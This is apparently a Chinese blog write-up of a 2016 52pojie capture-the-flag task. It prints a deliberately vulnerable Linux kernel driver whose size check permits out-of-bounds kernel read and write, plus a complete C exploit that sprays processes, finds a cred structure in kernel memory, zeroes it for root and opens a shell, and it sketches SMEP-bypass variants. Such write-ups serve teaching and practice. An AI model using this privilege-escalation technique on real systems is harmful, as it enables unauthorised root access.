【第五题】【吾爱破解2016安全挑战赛】【Android 溢出题】分析

0x00 赛题背景及环境:

题目地址

环境要求:
此题目采用 VirtualBox (VMware) + Ubuntu 14.04.4 LTS 32bit桌面版,参赛者须自己搭建,安装完成后请不要升级内核;

题目描述:
此题提供一份驱动源码,参赛者按照INSTALL步骤自己编译、加载驱动设备到ubuntu,利用驱动中一个漏洞(利用其它内核漏洞没分)实现从shell到root的提权;

提交文件:
1) exp二进制文件;
2) exp源码;
3) 解题思路;

评分标准:
1) 绕过smep提权100分;
2) 不能绕过smep提权50分;

学习大纲:
1.搭建环境,并复现exp提权
2.分析漏洞,修改exp

0x01 解题大纲

1.编译安装驱动

下载的内容
在这里插入图片描述
cd到文件目录make编译并安装驱动

  1. make

  2. sudo insmod mem_driver.ko

  3. sudo chmod 666 /dev/memdev*

    直接make 编译该驱动,生成mem_driver.ko文件
    在这里插入图片描述

    insmod mem_driver.ko 通过insmod命令用于将mem_driver模块加载到内核中。并使用lsmod查看是否加载成功。Linux有许多功能是通过模块的方式,在需要时才载入kernel。
    在这里插入图片描述

    使用这个https://www.52pojie.cn/thread-485820-1-1.html exp编译运行:gcc mexp.c -o mexp
    在这里插入图片描述

open失败是因为没设置/dev/memdev0的初始权限位。
在这里插入图片描述
可以看到exp运行成功了,美滋滋!

0x02漏洞分析

static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
    unsigned long p =  *ppos;
    unsigned int count = size;//
    int ret = 0;
    struct mem_dev *dev = filp->private_data;

    if((dev->size >> 24 & 0xff) != 0x5a)
        return -EFAULT;

    if (p > dev->size)
        return -ENOMEM;

    if (count > dev->size - p)
        count = dev->size - p;

    if (copy_to_user(buf, (void*)(dev->data + p), count)) {
        ret =  -EFAULT;
    } else {
        *ppos += count;
        ret = count;
    }

    return ret;
}

static ssize_t mem_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
{
    unsigned long p =  *ppos;//偏移量
    unsigned int count = size;//用户态传入的size
    int ret = 0;
    struct mem_dev *dev = filp->private_data;//获得设备结构 {size=0x5a000008,data=8}    

    if((dev->size >> 24 & 0xff) != 0x5a)//一:判断传入size的大小以0x5a开头(前8位)
        return -EFAULT;

    if (p > dev->size)//二:判断文件指针是否超过了dev的size
        return -ENOMEM;

    if (count > dev->size - p)//三:判断用户初入的count是否超过了dev剩下的大小。也就是说count的值不超过0x5a000008即可通过校验。
        count = dev->size - p;
    
    if (copy_from_user((void *)(dev->data + p), buf, count)) {//将count大小的数据从用户态的buf写入到 dev->data+p的位置
        ret =  -EFAULT;
    } else {
        *ppos += count;
        ret = count;
    }
    //ioctl申请了8字节的读写,实际能写count字节的数据。是个任意写漏洞  (mem_read同理为读漏洞)
    return ret;
}

static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    struct mem_init data;//在内核态构建data数据
/**
struct mem_init {
    uint32_t idx;
    uint32_t len;
} data = {0, 8};
**/
    if(!arg)
        return -EINVAL;

    if(copy_from_user(&data, (void *)arg, sizeof(data))) {//将用户态的data传入到内核
        return -EFAULT;
    }
    
    if(data.len <= 0 || data.len >= 0x1000000)//判断传入的data的结构大小
        return -EINVAL;

    if(data.idx < 0)
        return -EINVAL;

    switch(cmd) {
        case 0:
            //idx=0 len=8
            mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff);//0x5a000008
            mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL);//驱动使用kmalloc申请了len大小的空间
            /**
struct mem_dev  //设备的size远远大于data指向的空间
{
    unsigned long size;//0x5a000008
    char *data;//8
};
            **/
            if(!mem_devp[data.idx].data) {
                return -ENOMEM;
            }
            memset(mem_devp[data.idx].data, 0, data.len);//将data当前位置后面的8个字节用 0 替换并返回指针
            break;
        default:
            return -EINVAL;
    }

    return 0;
}

static const struct file_operations mem_fops =
{
    .owner = THIS_MODULE,
    .open = mem_open,
    .read = mem_read,
    .write = mem_write,
    .unlocked_ioctl = mem_ioctl,
    .llseek = default_llseek,
    .release = mem_release,
};

0x03 exp编写

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#define MAX_CHILDREN_PROCESS 1024
struct cred {
    // unsigned long usage;
    uid_t uid;            /* real UID of the task */
    gid_t gid;            /* real GID of the task */
    uid_t suid;           /* saved UID of the task */
    gid_t sgid;           /* saved GID of the task */
    uid_t euid;           /* effective UID of the task */
    gid_t egid;           /* effective GID of the task */
    uid_t fsuid;          /* UID for VFS ops */
    gid_t fsgid;          /* GID for VFS ops */
    // unsigned long securebits;     /* SUID-less security management */
    // kernel_cap_t cap_inheritable; /* caps our children can inherit */
    // kernel_cap_t cap_permitted;  /* caps we're permitted */
    // kernel_cap_t cap_effective;  /* caps we can actually use */
    // kernel_cap_t cap_bset;       /* capability bounding set */
    // unsigned char jit_keyring;
    // void *thread_keyring;
    // void *request_key_auth;
    // void *tgcred;
    // void *security;      /* subjective LSM security */
} my_cred = {0};

struct thread_info {
    struct task_struct  *task;      /* main task structure */
    __u32           flags;      /* low level flags */
    __u32           status;     /* thread synchronous flags */
    __u32           cpu;        /* current CPU */
    mm_segment_t        addr_limit;//addr_limit表示进程可访问的地址空间
    unsigned int        sig_on_uaccess_error:1;
    unsigned int        uaccess_err:1;  /* uaccess failed */
};

struct mem_init {
    uint32_t idx;
    uint32_t len;
} data = {0, 8};
static pid_t pids[MAX_CHILDREN_PROCESS];
static int children_num;
static void tryRoot()
{
    raise(SIGSTOP);/* 在子进程中使用raise()函数发出SIGSTOP信号,使子进程暂停 */

     
    if (getuid() == 0) {
        printf("root success!\n");
        system("/bin/sh");
    }
     
    exit(0);
}
static void sprayingChildProcess()
{
    int i;
    int pid;
     
    for (i = 0; i < MAX_CHILDREN_PROCESS; ++i) {
        pid = fork();
        if (pid < 0) {
            break;
        }
        else if (pid == 0) {
            tryRoot();//尝试root
        }
        else {
            pids[i] = pid;
        }
    }
     
    children_num = i;
}
static void setMyCred() {
    uid_t suid;
    gid_t sgid;
    uid_t euid;
    gid_t egid;
    uid_t ruid;
    gid_t rgid;
    getresuid(&ruid, &euid, &suid);
    getresgid(&rgid, &egid, &sgid);
    my_cred.uid = getuid();
    my_cred.gid = getgid();
    my_cred.suid = suid;
    my_cred.sgid = sgid;
    my_cred.euid = euid;
    my_cred.egid = egid;
    my_cred.fsuid = getuid();
    my_cred.fsgid = getgid();
     
}
//2. 使用`ioctl`使得驱动在内核申请一片空间,接着使用`read`读出大片内核数据;
static int searchCred(int fd) {
    int ret;
    char buf[4096];
    int p;
    int cred;
    //set当前进程的cerd结构
    setMyCred();
     
    ret = ioctl(fd, 0, &data);
    if (ret != 0) {
        perror("ioctl");
        return 0;
    }
     
    while (1) {
        ret = read(fd, buf, 4096);
        if (ret != 4096) {
            perror("read");
            return 0;
        }
        //3. 在读出的内核数据中,暴力搜索,与创建的进程的uid、gid、suid、sgid、euid、egid、fsuid、fsgid进行匹配;
        p = memmem(buf, 4096, &my_cred, sizeof(my_cred));//若my_cred在4096这块内存里返回首次出现的地址起始的位置的指针
        if (p) {
            printf("we found cred.\n");
            printf("p=%d,(int)buf=%d,offset=%d\n",p,(int) buf, lseek(fd, 0, SEEK_CUR));
            cred = p - (int) buf + lseek(fd, 0, SEEK_CUR) - 4096;//SEEK_CUR 以目前的读写位置往后增加offset个位移量。  lseek返回目前的读写位置,也就是距离文件开头多少个字节。
            //没有完全理解这句代码的含义,估计是距离fd指针的位置
            return cred;
        }
    }
     
    return 0;
}
//匹配成功后,使用`write`修改其cred结构体,完成root;
static void modifyCred(int fd, int cred)
{
    struct cred new_cred;
     
    lseek(fd, cred, SEEK_SET);//SEEK_SET 将读写位置指向文件头后再增加cred个数的位移量。
    
    memset(&new_cred, 0, sizeof(new_cred));//将这块区域内大小的数据全置为0
    write(fd, &new_cred, sizeof(new_cred));
    printf("modify cred over.\n");
}
/**
1. 创建尽可能多的进程,以使得内核空间中充斥大量的cred结构体,增大root成功率;
2. 使用`ioctl`使得驱动在内核申请一片空间,接着使用`read`读出大片内核数据;
3. 在读出的内核数据中,暴力搜索,与创建的进程的uid、gid、suid、sgid、euid、egid、fsuid、fsgid进行匹配;
4. 匹配成功后,使用`write`修改其cred结构体,完成root;
**/
int main()
{
    int fd;
    int cred;
    int i;
    //1. 创建尽可能多的进程,以使得内核空间中充斥大量的cred结构体,增大root成功率;
    sprayingChildProcess();
     
    fd = open("/dev/memdev0", O_RDWR);
    if (fd < 0) {
        perror("open");
        goto out;
    }
     
    cred = searchCred(fd);
    if (cred == 0) {
        goto out;
    }
     
    modifyCred(fd, cred);
     
out:
    if (fd > 0) {
        close(fd);
    }
     
    for (i = 0; i < children_num; ++i) {
        kill(pids[i], SIGCONT);/* 在父进程中收集子进程发出的信号,并调用kill()函数进行相应的操作 */
    }
    while (1) {
        if (wait(NULL) < 0) {
            break;
        }
    }
     
    return 0;
}

0x04 总结:

  • 1.其实主要也就是复现和分析了漏洞的代码

    了解linux驱动漏,并通过该任意地址读写的漏洞修改进程的cred从而进行提权。

  • 2.了解linux内核防护措施semp,并尝试绕过
    semp禁止在内核执行用户态的代码。

  • 3.作者留下的进一步利用代码的思路:

这里还有其他几种root方案:本文提到的是一种比较粗暴的方法,有一定的失败几率,比如当喷射的cred全部都位于驱动kmalloc的下面,searchCred就会失败。
A:另外这种通过直接匹配uid、gid的方式总感觉有些不靠谱,还有个更好的方案是匹配thread_info结构体的comm成员,从而找到cred地址,然后利用slab的freelist将本文内存写漏洞转变为内存任意地址写漏洞,
最后修改cred结构体信息即可,具体代码留给读者实现。

B:利用漏洞将找到所有 task_info 的 addr_limit 改掉,找到有权限的子进程继续提权。当然这种方法很不稳定。可以通过设置查找 comm 来精确定位。

C:通过修改tty_struct结构体修改函数的执行流,然后再patch绕过semp。最后直接返回用户空间然后以ring0的身份调用函数commit_creds(prepare_kernel_cred(NULL))就可以设置为root身份。

参考:

http://www.52pojie.cn/thread-485820-1-1.html

猜你喜欢

转载自blog.csdn.net/tangsilian/article/details/84351032